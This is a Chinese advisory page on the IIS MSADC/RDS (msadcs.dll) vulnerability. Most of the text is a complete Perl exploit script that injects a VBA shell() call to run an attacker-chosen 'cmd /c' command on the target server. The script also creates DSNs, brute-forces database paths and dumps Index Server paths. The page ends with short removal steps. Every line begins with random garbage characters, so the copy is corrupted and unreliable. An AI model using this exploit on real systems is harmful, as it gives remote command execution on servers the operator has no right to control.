IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
<DiO Wi XdIah<F2 涉及程序：
JAb$M{t Microsoft NT server
mA{#]Yvf1 =&NOHT> 描述：
a>Re^GT+z 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
b& t[S[P.V 2*[U n( 详细：
@5Q oi~o 如果你没有时间读详细内容的话，就删除:
F,Fo}YQX c:\Program Files\Common Files\System\Msadc\msadcs.dll
fNhT;Bux
有关的安全问题就没有了。
c;V D}UD' P1d,8~ ; 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
j=3-Qk`"/| Jh2 Wr!5 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
C-#.RI7 关于利用ODBC远程漏洞的描述，请参看:
{OxWcK\2@h ^e9aD9 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm :0Te4UE;P7 U )Zt-og 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
]tVl{" .{ http://www.microsoft.com/security/bulletins/MS99-025faq.asp Zq?_dIX
% KR k~w] 这里不再论述。
?V+ wjw (Pz 8 iz 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
R7aXR\ R G1_Nd2w /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
cF.mb*$K 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Qb@eK$wo} M/w{&& BjD&> gO) #将下面这段保存为txt文件，然后: "perl -x 文件名"
EzP#Mnz^ m " ]!I~jd #!perl
zzf7S%1I #
swZp WC # MSADC/RDS 'usage' (aka exploit) script
[
-12]3 #
9s
$PrF # by rain.forest.puppy
^![{,o@"A #
ec'tFL#u{ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
9. 8,q # beta test and find errors!
)fCMITq.| f'_ S1\ use Socket; use Getopt::Std;
F$ {4X /9n getopts("e:vd:h:XR", \%args);
pN k8! k a!u3 HS -i print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
zz 3 r<?#5 [:pl- _.C if (!defined $args{h} && !defined $args{R}) {
FW^.m?}| print qq~
n0FYf qH Usage: msadc.pl -h <host> { -d <delay> -X -v }
@.o@-3k -h <host> = host you want to scan (ip or domain)
/+P5)q
TKL -d <seconds> = delay between calls, default 1 second
hO;9Y|y -X = dump Index Server path table, if available
zlMlMyG4 -v = verbose
w b+<a -e = external dictionary file for step 5
W?PWJkIw 0 WS|~?OR@ Or a -R will resume a command session
%gTVW!q $[Q cEk ~; exit;}
*R!]47Y d 00qZw?%K $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
QZ0R :TY if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
V85.DK! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
*. dKR if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
(,TH~("{ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
p,s&61] if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
<,-,? 7kM4Ei if (!defined $args{R}){ $ret = &has_msadc;
ylim/`u}6 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
k!c7a\">{ &fHc"-U} print "Please type the NT commandline you want to run (cmd /c assumed):\n"
{c?ymk K . "cmd /c ";
X8.y4 {5 $in=<STDIN>; chomp $in;
0%;M VMH $command="cmd /c " . $in ;
GWh|FEqUbf iE +6UK if (defined $args{R}) {&load; exit;}
yjv&4pIc1 E @]sq A print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
(olLB &try_btcustmr;
UFk!dK + pg5&= print "\nStep 2: Trying to make our own DSN...";
7uA\ &/
, &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
nr<.Y eJ M/)B" q print "\nStep 3: Trying known DSNs...";
R }.3|0 &known_dsn;
.r*#OUC .]zw*t* print "\nStep 4: Trying known .mdbs...";
m|`VJ 0 &known_mdb;
I9Om#m +<B|qcT! if (defined $args{e}){
nO}$ 76*'0 print "\nStep 5: Trying dictionary of DSN names...";
lG
< yJ~{ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
`
Rsl]
GB 'M
lXnHxt print "Sorry Charley...maybe next time?\n";
r?]%d! exit;
#O><A&FrF` ]
EV`dI k ##############################################################################
~RCg. &[ou k) Zn> sub sendraw { # ripped and modded from whisker
ktWZB QY sleep($delay); # it's a DoS on the server! At least on mine...
PMsC*U,oe my ($pstr)=@_;
"bi != socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
K~$ 35c3M die("Socket problems\n");
YVJ+'
A=| if(connect(S,pack "SnA4x8",2,80,$target)){
uYY=~o[
Tw select(S); $|=1;
M(NH9EE print $pstr; my @in=<S>;
`TkbF9N+ select(STDOUT); close(S);
h\2}875 return @in;
p^Agh
} else { die("Can't connect...\n"); }}
-2z,cj&E{ "C& J wm? ##############################################################################
9G+y.^/ 6 !&\meS{ sub make_header { # make the HTTP request
a.1`\ $]d my $msadc=<<EOT
<(Tia zg POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
uGM>C" User-Agent: ACTIVEDATA
K^8@'#S Host: $ip
mUiOD$rO Content-Length: $clen
`f LfT' Connection: Keep-Alive
S>(z\`1qm -#daBx
? ADCClientVersion:01.06
YI/{TL8*KK Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
h k/ + wJ/ ~q) --!ADM!ROX!YOUR!WORLD!
G IK
u Content-Type: application/x-varg
QT7_x`#J~o Content-Length: $reqlen
s5nB(L*Pjp 8KZ$ F>T]> EOT
NuI T{3S ; $msadc=~s/\n/\r\n/g;
w}"!l G return $msadc;}
|E?
,xWN 0}6QO ##############################################################################
J/L)3y +&(J n sub make_req { # make the RDS request
g&q^.7c} my ($switch, $p1, $p2)=@_;
8b{U
tT my $req=""; my $t1, $t2, $query, $dsn;
yg`E2 2 /%-o.hT if ($switch==1){ # this is the btcustmr.mdb query
X1O65DMr`g $query="Select * from Customers where City=" . make_shell();
f>p; siR) $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Q})t<l+L $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
3g^IXm:K$ PVZEB elsif ($switch==2){ # this is general make table query
9x4wk*z $query="create table AZZ (B int, C varchar(10))";
+BU0 6lLD $dsn="$p1";}
B*32D8t`u Ia=&.,xub elsif ($switch==3){ # this is general exploit table query
RFh U# $query="select * from AZZ where C=" . make_shell();
gYRq qV $dsn="$p1";}
|G>q:]+AV 5s#R`o %Z elsif ($switch==4){ # attempt to hork file info from index server
sw[<VsxjR $query="select path from scope()";
fmtuFr^a1 $dsn="Provider=MSIDXS;";}
y Y'gx| \ pb~Ps#"Zg elsif ($switch==5){ # bad query
/7.wQeL9 $query="select";
is64)2F]( $dsn="$p1";}
7 FEzak' )iT.A $t1= make_unicode($query);
eB)UXOu1 $t2= make_unicode($dsn);
o`oRG)QC $req = "\x02\x00\x03\x00";
)hePN4e dj $req.= "\x08\x00" . pack ("S1", length($t1));
}<E sS $req.= "\x00\x00" . $t1 ;
[5x+aW%ql $req.= "\x08\x00" . pack ("S1", length($t2));
/\6}S G; $req.= "\x00\x00" . $t2 ;
^ b=5 6~[ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
\o0z@Ntq return $req;}
M4R%Gr,L a M0 Lon/% ##############################################################################
f S(^["*G 6'S5sR A sub make_shell { # this makes the shell() statement
YCtIeq% return "'|shell(\"$command\")|'";}
": mCZ Ut ^H
f+du ##############################################################################
@ARAX\ F "K9vm^xP sub make_unicode { # quick little function to convert to unicode
wa9'2a1? my ($in)=@_; my $out;
8 h55$j for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
&z7N \n return $out;}
Wh#os,U$ ,| $|kO/ ##############################################################################
U/}AiCdj @ P c/.*kOT sub rdo_success { # checks for RDO return success (this is kludge)
d w|-=~ my (@in) = @_; my $base=content_start(@in);
DM y 4"2
o if($in[$base]=~/multipart\/mixed/){
B7NmET4 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
\r:m ({G return 0;}
,{#RrF e 5JJg"yuY" ##############################################################################
t't^E,E
.@ v'mJ~tz sub make_dsn { # this makes a DSN for us
ZE5-i@1 my @drives=("c","d","e","f");
2<`gs(oxXe print "\nMaking DSN: ";
|6\FI? foreach $drive (@drives) {
V2WUM+`uT print "$drive: ";
@h ,h=X my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
^(E"3 c "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
~ex~(AWh . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
S-H-tFy\\ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
>\^N\ & return 0 if $2 eq "404"; # not found/doesn't exist
Requ.?!fG; if($2 eq "200") {
7J #g1 foreach $line (@results) {
k1~nd=p return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
JKEX YE } return 0;}
?yK%]1O RZcx4fL }x ##############################################################################
RPa?Nv?e O=4c eE mz sub verify_exists {
TWl(\<&+) my ($page)=@_;
]%vGC^ my @results=sendraw("GET $page HTTP/1.0\n\n");
,"v)vTt return $results[0];}
#dx J# !W+p<F1i ##############################################################################
mR!&.R? Q6s5#7h'"
sub try_btcustmr {
Kt/+P S my @drives=("c","d","e","f");
%zIl_ /s my @dirs=("winnt","winnt35","winnt351","win","windows");
S'v V" y \mutm foreach $dir (@dirs) {
8AC. 2 v?_ print "$dir -> "; # fun status so you can see progress
%_%f# S foreach $drive (@drives) {
KoxGxHz^Y3 print "$drive: "; # ditto
e0G}$
as $reqlen=length( make_req(1,$drive,$dir) ) - 28;
lEVQA*u[ $reqlenlen=length( "$reqlen" );
2l\D~ y $clen= 206 + $reqlenlen + $reqlen;
oF 1W}DtA khKv5K#) my @results=sendraw(make_header() . make_req(1,$drive,$dir));
O>tC] sm% if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
g Km@B{rC else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
U_ N5~#9 7Y_fF1-wY ##############################################################################
m=("N YokZar2a0 sub odbc_error {
H L}sqcp my (@in)=@_; my $base;
hGV/P94 my $base = content_start(@in);
4/>={4Y9 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
@CF4:NNHw $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
hhhO+D1( $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e r$ 'c $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
GK&Dd"v return $in[$base+4].$in[$base+5].$in[$base+6];}
D m#k-y print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
p#2th`M:P1 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Z- (HDn $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
P\e%8&_U/ F9W5x= EK\ ##############################################################################
a~>h'}C> : 6 V 8 sub verbose {
}DaYO\:yK* my ($in)=@_;
kM`#U
*j return if !$verbose;
W$S.?[X print STDOUT "\n$in\n";}
|3m%d2V*hF <@ u6*] ##############################################################################
+)S X z, [ + sub save {
VIzZmd my ($p1, $p2, $p3, $p4)=@_;
q?&&:.H"?5 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
rI/KrBM print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
2-84 close OUT;}
mX^RSg9 E} KK</5Aw9p ##############################################################################
MzD0F#Y $ 1U%E sub load {
@4$E.q<0 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
<!^Z|E open(IN,"<rds.save") || die("Couldn't open rds.save\n");
^ZG 1 @p=<IN>; close(IN);
NY
x4&
*le $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
t/|^Nt@XT $target= inet_aton($ip) || die("inet_aton problems");
l1WVt} print "Resuming to $ip ...";
>kYyR.p.b $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Je,8{J |e if($p[1]==1) {
4NV1v&" $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
S# #W_OlrI $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
fF%r$`2 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
G>x0}c if (rdo_success(@results)){print "Success!\n";}
~55>uw< else { print "failed\n"; verbose(odbc_error(@results));}}
'oG'`ED" elsif ($p[1]==3){
Bx F if(run_query("$p[3]")){
dp_q:P4; B print "Success!\n";} else { print "failed\n"; }}
soF ^G21N elsif ($p[1]==4){
g 7X>i: if(run_query($drvst . "$p[3]")){
,dBI=D' print "Success!\n"; } else { print "failed\n"; }}
m='OnTeOE exit;}
7~'@m(9e 2lRZ/xaF%P ##############################################################################
i QF93:# B|v
fkX2f sub create_table {
n :P}K?lg my ($in)=@_;
16vfIUtb $reqlen=length( make_req(2,$in,"") ) - 28;
#x21e }Li $reqlenlen=length( "$reqlen" );
K-ebAa iC $clen= 206 + $reqlenlen + $reqlen;
z61
o6mb my @results=sendraw(make_header() . make_req(2,$in,""));
R 9(^CWs return 1 if rdo_success(@results);
OK=t)6 &b my $temp= odbc_error(@results); verbose($temp);
GF&"nW9A return 1 if $temp=~/Table 'AZZ' already exists/;
o/R-1\Dn return 0;}
;q Z2V #Z : r ##############################################################################
xpz
Jt2S P}gh-5x sub known_dsn {
Jp- hFD # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
}R^{< {KVJ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
{`VQL 6(i
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
&D:88 "banner", "banners", "ads", "ADCDemo", "ADCTest");
/NZ R| A@UnrbX : foreach $dSn (@dsns) {
JS9q'd print ".";
zw? 6E8$h next if (!is_access("DSN=$dSn"));
+J i dP if(create_table("DSN=$dSn")){
''G @ n* print "$dSn successful\n";
^s5)FdF8 if(run_query("DSN=$dSn")){
Ax
^9J)C print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Eq
t61O$x print "Something's borked. Use verbose next time\n";}}} print "\n";}
dSbV{*B;> M5]w U ##############################################################################
# /T)9 =m /-T%y uU sub is_access {
R##O9BSI8Z my ($in)=@_;
"2 mV W_k $reqlen=length( make_req(5,$in,"") ) - 28;
F>OYZOC] $reqlenlen=length( "$reqlen" );
f4q-wX_1 $clen= 206 + $reqlenlen + $reqlen;
Jy9&=Qh my @results=sendraw(make_header() . make_req(5,$in,""));
3I]5DW %- my $temp= odbc_error(@results);
vsK>?5{C- verbose($temp); return 1 if ($temp=~/Microsoft Access/);
- Db( return 0;}
g(1'i 1 c c:xT0Y ##############################################################################
\ gd d Z,*VRuA sub run_query {
BtspnVB ez my ($in)=@_;
3iB8QO;pp $reqlen=length( make_req(3,$in,"") ) - 28;
NJ.kT uk $reqlenlen=length( "$reqlen" );
<T['J]k% $clen= 206 + $reqlenlen + $reqlen;
/9sUp} * my @results=sendraw(make_header() . make_req(3,$in,""));
d<]/,BY' return 1 if rdo_success(@results);
)j](_kvK my $temp= odbc_error(@results); verbose($temp);
7r>^_ aW return 0;}
pxgv(:Tw ;k >{I8L~ ##############################################################################
4_$f "6 '2NeuK -KD sub known_mdb {
@Z) &3ss my @drives=("c","d","e","f","g");
fI6F};I5}T my @dirs=("winnt","winnt35","winnt351","win","windows");
~/t# J my $dir, $drive, $mdb;
6 `'^$wKs my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
-szvO_UP V5=Injs * # this is sparse, because I don't know of many
<R2bz1!h. my @sysmdbs=( "\\catroot\\icatalog.mdb",
OnG?@sW+4! "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
LTxOq|/Cq "\\system32\\certmdb.mdb",
3'8~H]<W "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
1!~9%=% jsuQ R my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
r_)*/ "\\cfusion\\cfapps\\forums\\forums_.mdb",
GFvOrR lP\ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
s;bqUY?LD "\\cfusion\\cfapps\\security\\realm_.mdb",
BzD S "\\cfusion\\cfapps\\security\\data\\realm.mdb",
_b+3;Dy "\\cfusion\\database\\cfexamples.mdb",
Q,scjt[ "\\cfusion\\database\\cfsnippets.mdb",
k
v b"n} "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
~! @a "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
W*P/~U= "\\cfusion\\brighttiger\\database\\cleam.mdb",
'SC`->F4D "\\cfusion\\database\\smpolicy.mdb",
FK-> | "\\cfusion\\database\cypress.mdb",
cng 1k
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
h-<+ Pj c "\\website\\cgi-win\\dbsample.mdb",
qu?D`29 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
)9}z^+TH "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
}RXm=ArN ); #these are just
dme_Ivt foreach $drive (@drives) {
"F=O foreach $dir (@dirs){
_]B' C
foreach $mdb (@sysmdbs) {
m$ ]?Jq print ".";
ZW2U9 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
ur; 8uv2o print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
(u *-( if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
$ # CkI09 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
w!61k \ } else { print "Something's borked. Use verbose next time\n"; }}}}}
IyMKV$" .2`S07Z foreach $drive (@drives) {
s+a eP foreach $mdb (@mdbs) {
`Do-!G+W print ".";
<MoWS9s!yb if(create_table($drv . $drive . $dir . $mdb)){
7uYJ _R print "\n" . $drive . $dir . $mdb . " successful\n";
3iDRt&y=. if(run_query($drv . $drive . $dir . $mdb)){
h 9No'!'! print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
O `*}N1No[ } else { print "Something's borked. Use verbose next time\n"; }}}}
*edB3!! }
vuHqOAFNs DEs/?JZG ##############################################################################
,2"-G";!f\ $cjidBi`): sub hork_idx {
zI&oZH^v n print "\nAttempting to dump Index Server tables...\n";
Nx~8]h1( print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
YqYCW}$ $reqlen=length( make_req(4,"","") ) - 28;
Iu=iC.50} $reqlenlen=length( "$reqlen" );
*f1MgP*GKF $clen= 206 + $reqlenlen + $reqlen;
O>UR\l|+:2 my @results=sendraw2(make_header() . make_req(4,"",""));
J@52<.>6 if (rdo_success(@results)){
-FwOX~s/' my $max=@results; my $c; my %d;
WUKYwA/t for($c=19; $c<$max; $c++){
$Die~rPU $results[$c]=~s/\x00//g;
gz8<& *2 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
@Kp2l<P $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
OX I.>9 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
oGa8}Vtc $d{"$1$2"}="";}
M*|x,K= U foreach $c (keys %d){ print "$c\n"; }
WJ8i,7 } else {print "Index server doesn't seem to be installed.\n"; }}
VGkwrS;+I i&RPY bT{ ##############################################################################
K^EW*6vB8O = }F &jl sub dsn_dict {
s T| 8a open(IN, "<$args{e}") || die("Can't open external dictionary\n");
IF<pT) while(<IN>){
]JbGP{UiN $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
9%pq+?u9 next if (!is_access("DSN=$dSn"));
c5pF?k FaD if(create_table("DSN=$dSn")){
&0~E+
9b print "$dSn successful\n";
Pr9$( 6MX if(run_query("DSN=$dSn")){
Ie ll`; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Y`w+?}(M print "Something's borked. Use verbose next time\n";}}}
_uID3N% print "\n"; close(IN);}
*zJ}=%)f qy"#XbBeV ##############################################################################
V |)3l7IC< (i 1 ]+. sub sendraw2 { # ripped and modded from whisker
tRFj<yuaq sleep($delay); # it's a DoS on the server! At least on mine...
jUYb8: B my ($pstr)=@_;
# 2s$dI socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
}[k~JXt die("Socket problems\n");
voEg[Gg4%I if(connect(S,pack "SnA4x8",2,80,$target)){
h#a,< B| print "Connected. Getting data";
Jc95Ki1X open(OUT,">raw.out"); my @in;
;kDz9Va select(S); $|=1; print $pstr;
@h$cHZ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
%N04k8z close(OUT); select(STDOUT); close(S); return @in;
<`}Oi 5nW } else { die("Can't connect...\n"); }}
^fa+3 `> E)7vuWO O ##############################################################################
9t9x&.A unKi)v1 sub content_start { # this will take in the server headers
(]>= y my (@in)=@_; my $c;
CNwIM6 t for ($c=1;$c<500;$c++) {
4 cDjf~n if($in[$c] =~/^\x0d\x0a/){
qS:h v&~ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
1:(qoA: else { return $c+1; }}}
k?ZtRhPu3X return -1;} # it should never get here actually
@lRT p 9ePG-=5I ##############################################################################
KEEHb2q >+ul LQqe sub funky {
f %<kcM2 my (@in)=@_; my $error=odbc_error(@in);
@@M
2s( if($error=~/ADO could not find the specified provider/){
2r4owB? print "\nServer returned an ADO miscofiguration message\nAborting.\n";
h\k@7wgu exit;}
BIqZg$ if($error=~/A Handler is required/){
TCWy^8LA print "\nServer has custom handler filters (they most likely are patched)\n";
F
jsnFX; exit;}
..'k+0u^ if($error=~/specified Handler has denied Access/){
ck s53/Z print "\nServer has custom handler filters (they most likely are patched)\n";
~PAF2 exit;}}
$dIu${lu 'B>fRN ##############################################################################
AwN7/M~' LlKvi_z sub has_msadc {
ji9 (!G my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
I?r7dQEm my $base=content_start(@results);
r)E9]"TAB return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
}86&?
0j. return 0;}
O/
Y z6VQ ^E{M[;sF3y ########################
Z]OXitt7 z><u YO$ M$iDaEu- 解决方案：
3D|Y4OM 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
B WRAz*V 2、移除web 目录: /msadc
